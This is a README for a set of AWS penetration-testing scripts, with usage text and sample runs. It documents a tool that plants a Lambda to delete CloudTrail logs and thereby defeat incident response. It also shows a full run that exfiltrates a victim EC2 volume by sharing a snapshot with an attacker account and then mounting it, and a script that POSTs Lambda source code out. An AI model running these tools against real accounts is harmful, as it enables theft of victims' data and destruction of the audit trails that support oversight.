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327 lines
14 KiB
Markdown
327 lines
14 KiB
Markdown
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## AWS-related penetration testing scripts, tools and Cheatsheets
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- **`assume-role-helper.sh`** - Calls `aws sts assume-role` using MFA token in order to retrieve session credentials and reformat it into `~/.aws/credentials` file format. That eases copy-and-paste of credentials provided by Assume Role facility into credentials file format. Having creds reformatted, tools such as _s3tk_ that are unable to process MFA tokens could be used using preconfigured profile creds.
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- **`disruptCloudTrailByS3Lambda.py`** - This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object. No object, no logs. No logs, no Incident Response :-)
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One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions:
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- `iam:CreateRole`
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- `iam:CreatePolicy`
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- `iam:AttachRolePolicy`
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- `lambda:CreateFunction`
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- `lambda:AddPermission`
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- `s3:PutBucketNotification`
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These are the changes to be introduced within a specified AWS account:
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- IAM role will be created, by default with name: `cloudtrail_helper_role`
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- IAM policy will be created, by default with name: `cloudtrail_helper_policy`
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- Lambda function will be created, by default with name: `cloudtrail_helper_function`
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- Put Event notification will be configured on affected CloudTrail S3 buckets.
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This tool will fail upon first execution with the following exception:
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```
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[-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation: The role defined for the function cannot be assumed by Lambda.
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```
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At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
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```
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bash $ python3 disruptCloudTrailByS3Lambda.py --help
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:: AWS CloudTrail disruption via S3 Put notification to Lambda
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Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
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Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
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usage: disruptCloudTrailByS3Lambda.py [options] <region> [trail_name]
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required arguments:
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region AWS region to use.
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--access-key ACCESS_KEY
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AWS Access Key ID
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--secret-key SECRET_KEY
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AWS Access Key ID
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--token TOKEN AWS temporary session token
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optional arguments:
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trail_name CloudTrail name that you want to disrupt. If not
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specified, will disrupt every actively logging trail.
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--disrupt By default, this tool will install Lambda that is only
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logging that it could remove S3 objects. By using this
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switch, there is going to be Lambda introduced that
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actually deletes objects.
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--role-name ROLE_NAME
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name for AWS Lambda role
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--policy-name POLICY_NAME
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name for a policy for that Lambda role
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--function-name FUNCTION_NAME
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name for AWS Lambda function
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bash $ python3 disruptCloudTrailByS3Lambda.py --access-key ASIAXXXXXXXXXXXXXXXX --secret-key Gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --token FQoGZX[...] us-west-2
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:: AWS CloudTrail disruption via S3 Put notification to Lambda
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Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
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Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
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[.] Will be working on Account ID: 712800000000
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[.] Step 1: Determine trail to disrupt
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[+] Trail cloudgoat_trail is actively logging (multi region? No).
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[.] Trails intended to be disrupted:
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- cloudgoat_trail
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[.] Step 2: Create a role to be assumed by planted Lambda
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[-] Role with name: cloudtrail_helper_role already exists.
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[.] Step 3: Create a policy for that role
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[-] Policy with name: cloudtrail_helper_policy already exists.
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[.] Step 4: Attach policy to the role
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[.] Attaching policy (arn:aws:iam::712800000000:policy/cloudtrail_helper_policy) to the role cloudtrail_helper_role
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[-] Policy is already attached.
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[.] Step 5: Create Lambda function
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[.] Using non-disruptive lambda.
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[.] Creating a lambda function named: cloudtrail_helper_function on Role: arn:aws:iam::712800000000:role/cloudtrail_helper_role
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[+] Function created.
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[.] Step 6: Permit function to be invoked on all trails
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[.] Adding invoke permission to func: cloudtrail_helper_function on S3 bucket: arn:aws:s3:::90112981864022885796153088027941100000000000000000000000
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[.] Step 7: Configure trail bucket's put notification
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[.] Putting a bucket notification configuration to 90112981864022885796153088027941100000000000000000000000, ARN: arn:aws:lambda:us-west-2:712800000000:function:cloudtrail_helper_function
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[+] Installed CloudTrail's S3 bucket disruption Lambda.
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```
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Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
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```
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[*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
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```
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- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies or specified Policy by it's Arn, goes through all of granted permissions and lists those that are known for Privilege Escalation or other risks. If `all` was specified as a role-name, the tool will evaluate all of the user-specified IAM Roles, iteratively. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18)
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```
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attacker $ ./evaluate-iam-role.sh awl CustomSysOpsRole
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[+] Working on specified Role: CustomSysOpsRole
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[+] Role (CustomSysOpsRole) has following policies attached:
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- arn:aws:iam::aws:policy/AmazonRDSFullAccess
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- arn:aws:iam::aws:policy/AmazonEC2FullAccess
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- arn:aws:iam::aws:policy/AWSLambdaFullAccess
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- arn:aws:iam::aws:policy/AmazonS3FullAccess
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- arn:aws:iam::aws:policy/ReadOnlyAccess
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- arn:aws:iam::aws:policy/AmazonSSMFullAccess
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- arn:aws:iam::aws:policy/AmazonMQFullAccess
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- arn:aws:iam::aws:policy/AWSBackupAdminPolicy
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[+] =============== Permissions granted ===============
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a4b:Describe*
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a4b:Get*
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a4b:List*
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a4b:Search*
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acm:Describe*
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acm:DescribeCertificate
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acm:Get*
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acm:List*
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[...]
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workdocs:Get*
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worklink:Describe*
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worklink:List*
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workmail:Describe*
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workmail:Get*
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workmail:List*
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workmail:Search*
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workspaces:Describe*
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xray:BatchGet*
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xray:Get*
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xray:PutTelemetryRecords
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xray:PutTraceSegments
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[-] =============== Detected POTENTIALLY dangerous permissions granted ===============
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[...]
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backup:*
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backup-storage:*
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clouddirectory:BatchRead
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cloudformation:*
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cloudformation:CreateStack
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[...]
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iot:CreateThing
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iot:CreateTopicRule
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sns:*
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sqs:*
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sqs:SendMessage
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ssm:*
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ssmmessages:CreateControlChannel
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ssmmessages:CreateDataChannel
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support:*
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xray:BatchGet*
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xray:PutTelemetryRecords
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xray:PutTraceSegments
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[!] =============== Detected DANGEROUS permissions granted ===============
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cloudformation:CreateStack
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iam:AttachRolePolicy
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iam:PassRole
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```
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- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
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IAM Permissions abused:
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- `ec2:CreateSnapshot`
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- `ec2:ModifySnapshotAttribute`
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- `ec2:CreateImage`
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```
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attacker $ python3 ./exfiltrate-ec2.py --help
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:: exfiltrate-ec2
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Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
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Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
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usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE]
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[--access-key ACCESS_KEY] [--secret-key SECRET_KEY]
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[--token TOKEN] [--victim-profile VICTIM_PROFILE]
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[--victim-access-key VICTIM_ACCESS_KEY]
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[--victim-secret-key VICTIM_SECRET_KEY]
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[--victim-token VICTIM_TOKEN] [-v]
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{createimage,createsnapshot} ...
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positional arguments:
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{createimage,createsnapshot}
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Available methods
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createimage Creates a snapshot of a running or stopped EC2
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instance in an AMI image form. This AMI image will
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then be shared with another AWS account, constituing
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exfiltration opportunity.
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createsnapshot Creates a snapshot of an EBS volume used by an EC2
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instance. This snapshot will then be shared with
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another AWS account, constituing exfiltration
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opportunity.
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required arguments:
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--region REGION AWS Region to use.
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optional arguments:
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-v, --verbose Display verbose output.
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Attacker's AWS credentials - where to instantiate exfiltrated EC2:
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--profile PROFILE Attacker's AWS Profile name to use if --access-key was
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not specified
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--access-key ACCESS_KEY
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Attacker's AWS Access Key ID to use if --profile was
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not specified
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--secret-key SECRET_KEY
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Attacker's AWS Secret Key ID
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--token TOKEN (Optional) Attacker's AWS temporary session token
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Victim AWS credentials - where to find EC2 to exfiltrate:
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--victim-profile VICTIM_PROFILE
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Victim's AWS Profile name to use if --access-key was
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not specified
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--victim-access-key VICTIM_ACCESS_KEY
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Victim's AWS Access Key ID to use if --profile was not
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specified
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--victim-secret-key VICTIM_SECRET_KEY
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Victim's AWS Secret Key ID
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--victim-token VICTIM_TOKEN
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(Optional) Victim's AWS temporary session token
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attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY
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:: exfiltrate-ec2
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Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
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Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
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[.] Using attacker's profile: default
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[.] Using victim's profile: victim-profile
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[.] Using region: us-east-1
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[.] Authenticating using Attacker's AWS credentials...
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[.] Authenticating using Victim's AWS credentials...
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[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...
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[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX
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[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ
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[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000
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[+] Snapshot's attributes modified to share it with user 71284700000
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[>] Step 3: Waiting for the snapshot to transit into completed state.
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[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account.
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[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d
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[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ)
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[>] Step 5: Waiting for the volume to transit into created state.
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[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance
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[-] Attacker's machine is in running state, preventing to attach it a volume.
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[.] Trying to stop the EC2 instance, then attach the volume and then restart it.
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[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY
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[.] Restarting it...
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===============================================================
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[MODULE FINISHED]
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===============================================================
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[+] Exfiltrated snapshot of a victim's EBS volume:
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VictimVolumeId = vol-0f340890acfXXXXX
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[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
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SnapshotId = snap-0d7a43f0ff34ZZZZ
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If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now:
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AttackerVolumeId = vol-04f36e35abeWWW
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That was attached to the specified attacker's EC2 instance:
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AttackerInstanceId = i-0b359b0fcbcYYYYY
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AvailibityZone = us-east-1d
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Most likely as a '/dev/xvdf' device.
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===============================================================
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To examine exfiltrated data:
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0) SSH to the attacker's EC2 instance
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# ssh ec2-user@18.206.230.190
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1) List block devices mapped:
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# lsblk
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2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
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# mkdir /exfiltrated
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3) Mount that device's volume:
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# mount /dev/xvdf1 /exfiltrated
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attacker $ ssh ec2-user@18.206.230.190
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[...]
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ec2-user@ec2instance:~$ sudo -s
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root@ec2instance:/home/ec2-user# lsblk
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NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
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xvda 202:0 0 25G 0 disk
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└─xvda1 202:1 0 25G 0 part
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xvdf 202:80 0 25G 0 disk
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└─xvdf1 202:81 0 25G 0 part /
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root@ec2instance:/home/ec2-user# mkdir /exfiltrated
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root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated
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root@ec2instance:/home/ec2-user# ls -l /exfiltrated
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total 84
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-rw-r--r-- 1 root root 0 lip 31 2018 0
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lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin
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drwxr-xr-x 3 root root 4096 sie 17 2018 boot
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drwxr-xr-x 4 root root 4096 sie 17 2018 dev
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drwxr-xr-x 179 root root 12288 gru 4 16:37 etc
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drwxr-xr-x 3 root root 4096 lis 4 16:18 home
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[...]
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```
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- **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code.
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- **`find-exposed-resources.sh`** - Utterly simple script enumerating some of the resources that could be publicly shared which would count as a security misconfiguration.
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- **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies.
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- **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons).
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